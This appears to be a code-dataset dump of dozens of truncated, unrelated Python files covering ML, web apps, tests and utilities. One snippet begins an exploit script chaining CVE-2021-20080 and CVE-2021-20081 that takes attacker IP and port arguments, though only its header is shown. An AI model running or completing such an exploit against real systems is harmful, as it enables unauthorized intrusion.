content
stringlengths
5
1.05M
""" python 实现栈 """ class Stack(): def __init__(self): self.items = [] def pop(self): self.items.pop() def push(self,item): self.items.append(item) def peek(self): return self.items[len(self.items)-1] def size(self): return len(self.items) def is_emp...
import random class LearningAgent: def __init__(self, nS, nA): if nS <= 0: raise ValueError("State Number") if nA <= 0: raise ValueError("Action Number") self.nS = nS self.nA = nA self.discFact = 0.8 self.epsiRate = 0.8 / nA self.epsi = [0 for _...
''' Define a simple "spelling correction" function correct() that takes a string and sees to it that 1) two or more occurrences of the space character is compressed into one, and 2) inserts an extra space after a period if the period is directly followed by a letter. E.g. correct("This is very funny and coo...
from random import choice from snakegame.common import * def bfs(board, x, y, find): nodes=[[1, 0, x, y, ""]] #node format is [1=nothing 0=apple (for sorting reasons), #distance from start, x, y, dirs useed to get there, find apple, or nothing height=len(board) width = len(board[0]) if...
import pytest from pygears import gear, Intf from pygears.typing import Tuple, Uint, Integer from pygears.core.infer_ftypes import TypeMatchError, infer_ftypes from pygears.util.test_utils import equal_on_nonspace from pygears.core.gear import GearArgsNotSpecified def test_templated_type_deduction_multi_related_temp...
import logging class SeleniumUtils(object): def __init__(self): super(SeleniumUtils, self).__init__() @classmethod def find_a_href(self, categories, param): for category in categories: href = category.get_attribute("href") text = category.text if text i...
# Copyright 2018 The TensorFlow Ranking Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
################################################################################################### # Copyright © 2021 Neal Meswania # Lisence: MIT ################################################################################################### import signal import sys #############################################...
""" CSeq function inlining module written by Omar Inverso, Gennaro Parlato, University of Southampton. maintained by Truc Nguyen Lam, University of Southampton. """ VERSION = 'inliner-0.1-2016.08.16' # VERSION = 'inliner-0.0-2014.10.19' # VERSION = 'inliner-0.0-2014.07.15' #VERSION = 'inliner-0.0-2014.12.24' ...
"""Add admin to User, name to RepoGroup Revision ID: a051167419fa Revises: 2eaa930b1f5a Create Date: 2019-02-17 13:09:42.138936 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'a051167419fa' down_revision = '2eaa930b1f5a' branch_labels = None depends_on = None ...
# pyOCD debugger # Copyright (c) 2006-2013 Arm Limited # SPDX-License-Identifier: Apache-2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0...
def clear_app_settings_cache(): # Clean up. Django Pods caches settings once loaded. Remove cached settings from silhouette.apps import Silhouette if hasattr(Silhouette.settings, 'PATH'): del Silhouette.settings.PATH if hasattr(Silhouette.settings, 'THEME'): del Silhouette.settings.THEME...
from datetime import datetime import linebot.models as models from teitoku.parser.line_parser import LineParser from teitoku.message.text_message import TextMessage from teitoku.source import SourceUser, SourceGroup, SourceRoom def test_parse_text_message_source_user(): timestamp = datetime.utcnow() text_me...
from rest_framework import mixins from rest_framework import filters from rest_framework import status from rest_framework import viewsets from rest_framework.decorators import detail_route, list_route from rest_framework.response import Response from members.models import Member, ComiteMembership, AcademicYear from m...
from flask import request, g, url_for from flask_restful import Resource from flask_jwt_extended import create_access_token, create_refresh_token from oauth import github from models.user import UserModel class GithubLogin(Resource): @classmethod def get(cls): return github.authorize(url_for('github....
"""reviews models.""" # Django from django.db import models # Models from apps.users.models import User class Review(models.Model): """Review base model. all reviews extends from this model to be more scalable if more products than camera or lens are reviewed""" title = models.CharField(max_length=...
''' Randomly assign images in a folder to a training, validation, and test set. ~ Christopher Pramerdorfer ''' import os import sys import pickle import random import json rng = 1337 # rng seed frac_test = 0.1535 # test fraction frac_val = 0.0905 # val fraction of training set (after removing test samples) sourc...
# Copyright 2016 James Hensman, alexggmatthews, PabloLeon, Valentine Svensson # Copyright 2018 KAIST under XAI Project supported by Ministry of Science and ICT, Korea # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a...
import pygame from shootingspacejetgame.res import * class enemy(pygame.sprite.Sprite): def __init__(self, origin, jdg): super().__init__() self.image = pygame.image.load(ENEMY_IMG) self.image = pygame.transform.scale(self.image, ENEMY_SCALE) self.image = pygame.transform.rotate(sel...
import numpy as np from sklearn import linear_model from sklearn.metrics import mean_squared_error, mean_absolute_error, median_absolute_error, r2_score class FeaturesExtractor(): def __init__(self, gestures, fake_swipes_limit=30): gestures = gestures[(gestures["t_stop"] != -1) & (gestures["t_start...
def html_it(): """Run coverage and make an HTML report for main.""" import coverage cov = coverage.coverage() cov.start() import main # pragma: nested cov.stop() # pragma: nested cov.html_report(directory="../html_omit_1") runfunc(html_it, rundir="src") compare("gold_omit_1...
import cv2 as cv def model_ssd_inception_v2_coco(): pretrained = "models/ssd_inception_v2_coco.pb" proto = "models/ssd_inception_v2_coco.pbtxt" labels = "models/coco_labels.txt" class_names = [] with open(labels) as f: class_names = [cname.strip() for cname in f.readlines()] net = cv.d...
import os caminho = input('digite um caminho de pasta: ') conta = 0 termo_procura = input('digite o que procura: ') from formataTamanho import formata_tamanho for raiz, diretorios, arquivos in os.walk(caminho): for arquivo in arquivos: if termo_procura in arquivo: try: conta ...
# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2021 4Paradigm # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required ...
''' A module for demonstrating exceptions ''' def convert(s): ''' convert string to an integer ''' try: x = int(s) print("Conversion is successful!") except ValueError: x = -1 print("Conversion is failed!") except TypeError: x = -1 print("Conv...
import os from types import SimpleNamespace config = SimpleNamespace() def setup(args): global config config.in_folder = args.in_folder config.out_folder = args.out_folder config.tmp_folder = "{}_tmp".format(args.in_folder) config.labels_folder = "{}_labels".format(args.in_folder) config.s...
# coding=utf-8 """ Wrapper for sub images that form part of a larger volume Author: Tom Doel Copyright UCL 2017 """ import copy import os import numpy as np from imagesplit.file.format_factory import FormatFactory from imagesplit.file.metaio_reader import load_mhd_header from imagesplit.image.combined_image import...
# -*- coding:utf-8 -*- from .printsirhead import printsirhead from .loadsir import loadsir from .extractsirhead import extractsirhead from .sirutils import parseFilename from .sirutils import fn2dt from .latlon2pix import latlon2pix from .ease2helper import ease2_map_info, easeconv_normalize_degrees
# use subprocess.call to run external file # which in this case is input_output, a test Rust file import subprocess subprocess.call(["./input_output"])
import os import sys import time import json import pytest import logging import hashlib from uuoskit import uuosapi, config, wallet from uuoskit.chainapi import ChainApiAsync from uuoskit.exceptions import ChainException, WalletException from uuoskit.testnet import Testnet Testnet.__test__ = False logging.basicConfi...
from telegram.ext import Updater from .guest_handlers import guest_conv_handler from .admin_handlers import admin_conv_handler import logging logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO) def bot_main(TOKEN: str): updater = Updater(token=TOKEN, use_context=...
from __future__ import unicode_literals import json import logging from django import forms from django.utils import six from django.utils.six.moves.urllib.error import HTTPError, URLError from django.utils.translation import ugettext_lazy as _, ugettext from reviewboard.hostingsvcs.errors import (AuthorizationError...
from .parser import get_args from .data import Tawqeetex def console_start(): '''Retrieves the inputs from the console and starts the pdf schedule generation''' args = get_args() data = Tawqeetex(*args) data.create_schedule() print("The prayer time schedule has been generated successfully")
from __future__ import print_function import math from math import isnan, isinf from datetime import datetime __all__ = ['TimeRange', 'Runs'] class TimeRange(object): __slots__ = ('start', 'duration', 'peak', 'tags') def __init__(self, start, duration, peak=None, tags=None): self.start = start ...
from AllNeo_Code.Helper.logger import NeoLogger as NL Logger = NL.NeoLogger.getLogger("TestLog") Logger.warning("Test Warning") Logger.error("Test Error")
from django.db import models, migrations def update_last_modify_timestamp(apps, schema_editor): Chat = apps.get_model('chat', 'Chat') for chat in Chat.objects.all(): if not chat.last_modify_timestamp: last_msg = chat.message_set.all().order_by('-timestamp').first() if last_msg:...
import sys s=0 e=int(sys.argv[3]) while s <= int(sys.argv[1]): print(str(s) + " " + str(e)) s = e - int(sys.argv[2]) e = s + int(sys.argv[3])
import asyncio import sys import time import weakref from random import random import pytest try: import cloudpickle # noqa: F401 skip_cloudpickle_test = False except ImportError: skip_cloudpickle_test = True from hybrid_pool_executor.constants import ACT_EXCEPTION, ACT_RESTART from hybrid_pool_execut...
############################################################################################################################################################## ############################################################################################################################################################## ""...
import numpy as np import numpy.typing as npt import iterations_lib.python_inspectors_diag.utils as utils from typing import Tuple def BiCGStab_solver(complex_matrix: np.ndarray, f_vector: np.ndarray, u0_vector: np.ndarray = None, eps: float = 10e-7, ...
# -*- coding: utf-8 -*- # Copyright 2018 Spotify AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
"""A poor substitute for PHP's strtotime function.""" # ============================================================================= # CONTENTS # ----------------------------------------------------------------------------- # phlsys_strtotime # # Public Functions: # describe_duration_string_to_time_delta # duratio...
from typing import List from ..Agent import Agent import numpy as np class QLearning(Agent): def __init__(self, actions: List, alpha: float, gamma: float, eps: float): super().__init__() self.actions = actions self.alpha = alpha self.gamma = gamma self.eps = eps ...
## Copyright (c) 2016 Upstream Research, Inc. All Rights Reserved. ## ## Subject to an 'MIT' License. See LICENSE file in top-level directory ## help_text = ( "CSV-PRINT tool version 20170220:20170605\n" "Prints a fixed-width representation of a CSV file\n" "\n" "csv-print [OPTIONS] [InputFile]\n...
#!/usr/bin/python from __future__ import print_function #from subprocess import Popen, PIPE from subprocess import check_output, CalledProcessError, STDOUT from datetime import datetime import json import logging import pdb import os import shlex import sys import argparse def parseargs(): parser = argparse.Argume...
import os, pytest from dotenv import load_dotenv import requests import json import base64 @pytest.fixture(scope="session") def test_env(): load_dotenv() blobstore = json.loads(os.getenv('blobstore')) if 'credentials' in blobstore: credentials = json.loads(os.getenv('blobstore'))['credentials'] ...
import requests, sys from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import quote import random # Author: Chris Lyne (@lynerc) # Exploits CVE-2021-20080 and CVE-2021-20081 in chain if len(sys.argv) < 4: print("Usage: script.py <http(s)://target:port> <attacker ip> <attacker port>") ...
x = BitVec('x', 16) y = BitVec('y', 16) print x + 2 # Internal representation print (x + 2).sexpr() # -1 is equal to 65535 for 16-bit integers print simplify(x + y - 1) # Creating bit-vector constants a = BitVecVal(-1, 16) b = BitVecVal(65535, 16) print simplify(a == b) a = BitVecVal(-1, 32) b = BitVecVal(65535, 32...
# noinspection PyPackageRequirements from telegram import InlineKeyboardMarkup, InlineKeyboardButton class InlineKeyboard: @staticmethod def release_info(release_id, webarchive_url): markup= [[ InlineKeyboardButton('Wayback Machine', url=webarchive_url), InlineKeyboardButton('...
# coding:utf-8 """ 企业微信素材管理模块 """ __author__ = 'BLUE' __time__ = 'Tue May 21 2019 10:43:40 GMT+0800' # ------------------------------------------------------------------------ from WechatBiz.core.WechatBase import WechatBase from WechatBiz.lib.Utils import is_allowed_extension def hand_check_file(media_file): ext...
import logging from tornado.options import options from tornado.httpclient import HTTPError from tornado_botocore import Botocore logger = logging.getLogger(__name__) class DDBBase(object): TABLE_NAME = '' # The data type for the attribute. You can specify S for string data, # N for numeric data, or ...
#!/usr/bin/env python3 import glob import importlib import logging import os import re import git import yaml from megalinter.Linter import Linter REPO_HOME_DEFAULT = ( "/tmp/lint" if os.path.isdir("/tmp/lint") else os.path.dirname(os.path.abspath(__file__)) + os.path.sep + ".." ) ANSI_ESCAPE_REGEX = re...
#!/usr/bin/env python import time import sys import os def run_cmd(command): print "CMD: " + command print os.system(command) print time.sleep(1) return def main(): print print "===== INSTALLER FOR SE34EUCA ON CENTOS 6 ======" print cmd = "sudo yum -y update" run_cmd(cmd) cmd = "sudo yum -y install g...
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from Bio.Seq import Seq from Bio.SeqRecord import SeqRecord from iss import download from iss.util import cleanup from nose.tools import with_setup def setup_function(): output_file_prefix = 'data/.test' def teardown_function(): cleanup(['data/test_download....
#!/usr/bin/env python3 import csv import os import subprocess import sys from argparse import ArgumentParser def main(): p = ArgumentParser() p.add_argument("metadata") args = p.parse_args() cohort_id = None with open(args.metadata, "r") as f: reader = csv.reader(f, delimiter="\t") ...
from factory import Faker, post_generation from factory.django import DjangoModelFactory from cookbook.recipes.models import Ingredient, Recipe class RecipeFactory(DjangoModelFactory): recipe_name = "pizza" class Meta: model = Recipe
from SimpleCV import Camera, Display, Image, np, VideoStream import time #Program by Fares Al Ghazy, 15/8/2016 #A thanks to the FaceBook group " Raspberry pi" which was very helpful #A special thanks to Martin Jenkins for giving alot of his time, knowledge and support #This code is not supposed to be used commercially ...
""" Base Plugin Classes """ import csv import logging from os import path import requests import socket import tempfile import time import urllib.parse as urlparse LOGGER = logging.getLogger(__name__) class Plugin(object): GUID = 'com.meetme.newrelic_plugin_agent' MAX_VAL = 2147483647 def __init__(sel...
import csv from flask import render_template, request, send_file from flask_classy import FlaskView, route from flask_login import login_required from OrderSystem import db, sentry from OrderSystem.routing.ErrorHandler import get_current_user from OrderSystem.sql.ORM import Order from OrderSystem.utilities.ServerLogg...
import string def rotate(orig, offset): ret = "" for c in orig: if c in string.ascii_lowercase: ret += chr(ord('a') + (ord(c) - ord('a') + offset) % 26) elif c in string.ascii_uppercase: ret += chr(ord('A') + (ord(c) - ord('A') + offset) % 26) else: re...
"""Stack loss data""" __all__ = ['COPYRIGHT','TITLE','SOURCE','DESCRSHORT','DESCRLONG','NOTE', 'load'] __docformat__ = 'restructuredtext' COPYRIGHT = """This is public domain. """ TITLE = __doc__ SOURCE = """ Brownlee, K. A. (1965), "Statistical Theory and Methodology in Science and Engineering", 2nd e...
import pandas as pd from processing.utils import infer_gender_image, infer_gender_name, download_images, consolidate_gender, clean_name import os import re from bs4 import BeautifulSoup import datetime from pathlib import Path import json from constants import DATA_PATH def visit_language(list_path: str, ...
import sys from collections import defaultdict sys.setrecursionlimit(10 ** 6) stdin = sys.stdin INF = float('inf') MOD = 10 ** 9 + 7 ni = lambda: int(ns()) na = lambda: list(map(int, stdin.readline().split())) ns = lambda: stdin.readline().strip() def modpow(a, b, m): res = 1 while b != 0: if b % 2 ...
from flask import Blueprint, render_template, request, redirect from . import db bp = Blueprint("todos", __name__) @bp.route("/", methods=('GET', 'POST')) def index(): """View for home page which shows list of to-do items.""" cur = db.get_db().cursor() if request.method == 'POST': filter = req...
import os from typing import Tuple import mlflow import mlflow.sklearn import numpy as np from skl2onnx import convert_sklearn from skl2onnx.common.data_types import FloatTensorType from sklearn.datasets import load_iris from sklearn.pipeline import Pipeline from sklearn.preprocessing import StandardScaler from sklear...
import pandas as pd import datetime from datetime import datetime from datetime import date import petaldata from petaldata.datasets.stripe.reports.abstract_stripe_report import AbstractStripeReport from petaldata.datasets.stripe.reports.mtd_revenue import MTDRevenue from petaldata.datasets.stripe.reports import query...
# -*- coding: utf-8 -*- """ Defines mneflow.layers for mneflow.models. @author: Ivan Zubarev, ivan.zubarev@aalto.fi """ #TODO: keras compatible layers #TODO: pooling layer #import functools import tensorflow as tf from tensorflow.keras.initializers import Constant from tensorflow.keras.activations import relu from te...
# coding=utf-8 import pytest from mock import patch from django.utils import timezone from django.test import TestCase, RequestFactory from molo.core.models import ( Main, SiteLanguageRelation, Languages, BannerPage, SiteSettings, ArticleOrderingChoices, LanguageRelation, FormPage, FormIndexPage ) from mo...
""" we can inspect the factory installed presets for the access virus by reading its MIDI sysex dumps. these messages are formatted: (0, 32, 51, 1, dd, 16, bb, ss, [256 ints], cs) where dd is the device id, bb is bank, ss is program number, and cs is checksum we can also use this same fromat to write parameters to th...
import subprocess from testplan.common.utils.remote import copy_cmd def mock_ssh(host, command): """Avoid network connection.""" return ["/bin/sh", "-c", command] def strip_host(source, target, **kwargs): """Avoid network connection.""" if ":" in source: source = source.split(":")[1] if...
from xuepy.client.api.interaction import Interaction
"""This class is responsible for dealing with the content of a users message and generating responses.""" from model import Model from datastore import Course, Section from typing import List, Set from queryspec import Intent, QueryParameters, MissingFieldException '''Takes in a message from the user, and uses its m...
line_vis = vis = '16B-202.sb32532587.eb32875589.57663.07622001157.ms' imagename = myimagebase = output = 'J1922+1530_spw40' if not os.path.exists(imagename+".image.pbcor.fits"): os.system('rm -rf ' + output + '*/') tclean(vis=line_vis, imagename=imagename, field='J1922+1530', ...
# coding: utf8 from selenium.webdriver.common.keys import Keys import gocept.httpserverlayer.wsgi import gocept.selenium import unittest import zeit.cms.testing import zeit.content.image.testing import zeit.imp.tests WSGI_LAYER = zeit.cms.testing.WSGILayer( name='WSGILayer', bases=(zeit.imp.tests.imp_layer,)) HTT...
import boto3 from botocore.client import Config from boto3.s3.transfer import TransferConfig import os import tarfile import shutil import wget import ssl from pathlib import Path ssl._create_default_https_context = ssl._create_unverified_context def soft_connection(func): """ Decorator that catch intermitten...
# -*- coding: utf-8 -*- """ Created on Sun May 24 12:54:31 2020 @author: KReuZ_o13 """ #setup thy packages import tensorflow as tf import numpy as np import pandas as pd import matplotlib as plt import sklearn as sn #python ML package from tensorflow import keras from sklearn import preprocessing #let's read the fil...
import datetime from flask import render_template, Blueprint, abort from flask_login import current_user from wfdb.models import db, Post, Comment, User from wfdb.forms import CommentForm blog_blueprint = Blueprint( 'blog', __name__, template_folder='../templates/blog', url_prefix="/blog" ) @blog_b...
import numpy as np import matplotlib.pyplot as plt from scipy.integrate import solve_ivp class ExponentialDecay(): """Exponential decay class.""" def __init__(self, a): """ExponentialDecay class takes a decay constant a as argument.""" self.a = a def __call__(self, t, u): """ ...
# coding: utf-8 from __future__ import absolute_import, division, print_function, unicode_literals import os, sys, copy, time from datetime import datetime from . import register_parser from .util import Timestamp, paginate, describe_cidr, add_time_bound_args from .util.printing import page_output, tabulate, GREEN, B...
from fpdf import FPDF class PDF(FPDF): def basic_table(self, headings, rows): for heading in headings: self.cell(40, 7, heading, 1) self.ln() for row in rows: for col in row: self.cell(40, 6, col, 1) self.ln() def improv...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Mar 11 14:14:57 2021 @author: drjc """ from datetime import datetime from torch.utils.data import DataLoader, random_split import pytorch_lightning as pl from pytorch_lightning import Trainer from pytorch_lightning.loggers.test_tube import TestTubeLog...
from imageai.Classification import ImageClassification import os import cv2 import pytest from os.path import dirname main_folder = os.getcwd() def test_recognition_model_mobilenetv2(): predictor = ImageClassification() predictor.setModelTypeAsMobileNetV2() predictor.setModelPath(os.path.join(main_fold...
"""Config for a linear regression model evaluated on a diabetes dataset.""" from dbispipeline.evaluators import GridEvaluator import dbispipeline.result_handlers as result_handlers from sklearn.pipeline import Pipeline from sklearn.preprocessing import StandardScaler from sklearn.svm import LinearSVR from nlp4musa2020...
# Reversing an integer def int_reversal(n): remainder = 0 reverse = 0 while n > 0: remainder = n % 10 reverse = reverse * 10 + remainder n = n // 10 return reverse if __name__ == '__main__': num = 123456789123456789123456789 print(num) num = int_revers...
from oo.pessoa import Pessoa p = Pessoa() print(type(p))
#!/usr/bin/env python """Test the mpu.datastructures.char_trie module.""" # Third party import pytest # First party from mpu.datastructures.trie.char_trie import EMPTY_NODE, Trie, TrieNode def test_trie_print(): data = ["dog", "cat", "cattle", "tom", "d", "tomcat", "tomatoe"] trie = Trie(data) trie_dat...
from django import VERSION from autocomplete_light.compat import urls, url urlpatterns = urls([ url(r'^$', 'navigation_autocomplete', name='navigation_autocomplete'), ])
# Librerias necesarias import matplotlib.pyplot as plt from matplotlib import cm import numpy as np import warnings import itertools import re class dispersionPlot: def __init__( self, text, keywords, ignore_case=True, title="Gráfico de dispersión de palabras", labe...
from django.db import models # Create your models here. class CodeProject(models.Model): name = models.CharField(max_length=200) description = models.TextField() demo_link = models.CharField(max_length=300,blank=True) repo_link = models.CharField(max_length=300,blank=True) class Meta: ver...
# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # ...
# +-======-+ # Copyright (c) 2003-2007 United States Government as represented by # the Admistrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # THIS OPEN SOURCE AGREEMENT ("AGREEMENT") DEFINES THE RIGHTS OF USE, # REPRODUCTION, DISTRIBUTION, MODIFICATION AND REDIS...
import json from app.utils.testing import ApiTestCase from app.tags.models import Tag, TagTranslation from app import db class ReviewsApiTest(ApiTestCase): def seed_static_data(self): self.event1 = self.add_event(key='event1') self.event2 = self.add_event(key='event2') self.user1 = self.add...
""" This file is a part of the source code for the PygameCommunityBot. This project has been licensed under the MIT license. Copyright (c) 2020-present PygameCommunityDiscord This file defines some important embed related utility functions. """ from __future__ import annotations import asyncio import datetime impor...
from torch.utils import data import torch from PIL import Image class HAM_dataset(data.Dataset): 'Characterizes a dataset for PyTorch' def __init__(self, df, transform=None): 'Initialization' self.df = df self.transform = transform def __len__(self): 'Denotes the total n...
''' Created with love by Sigmoid @Author - Stojoc Vladimir - vladimir.stojoc@gmail.com ''' import numpy as np import pandas as pd import random import sys from random import randrange from .erorrs import NotBinaryData, NoSuchColumn def warn(*args, **kwargs): pass import warnings warnings.warn = w...
import time from datetime import datetime from typing import List, Dict, Tuple import pandas as pd import requests from mpt import Asset """ The complete documentation for the coincap.io REST API can be found at https://docs.coincap.io/. """ def request_and_jsonize_calm(url, params=None): repeats = 0 while...
from bottle import route, default_app @route("/") def hello(): return 'hello world!!' application = default_app()
# uncompyle6 version 2.9.10 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10) # [GCC 6.2.0 20161005] # Embedded file name: fix_nonzero.py """Fixer for __nonzero__ -> __bool__ methods.""" from .. import fixer_base from ..fixer_util import Name, syms class FixNonzero(fixer...
import mock import pytest from praw.exceptions import ClientException, PRAWException, RedditAPIException from praw.models import Comment, Submission from ... import IntegrationTest class TestComment(IntegrationTest): def test_attributes(self): with self.recorder.use_cassette("TestComment.test_attributes...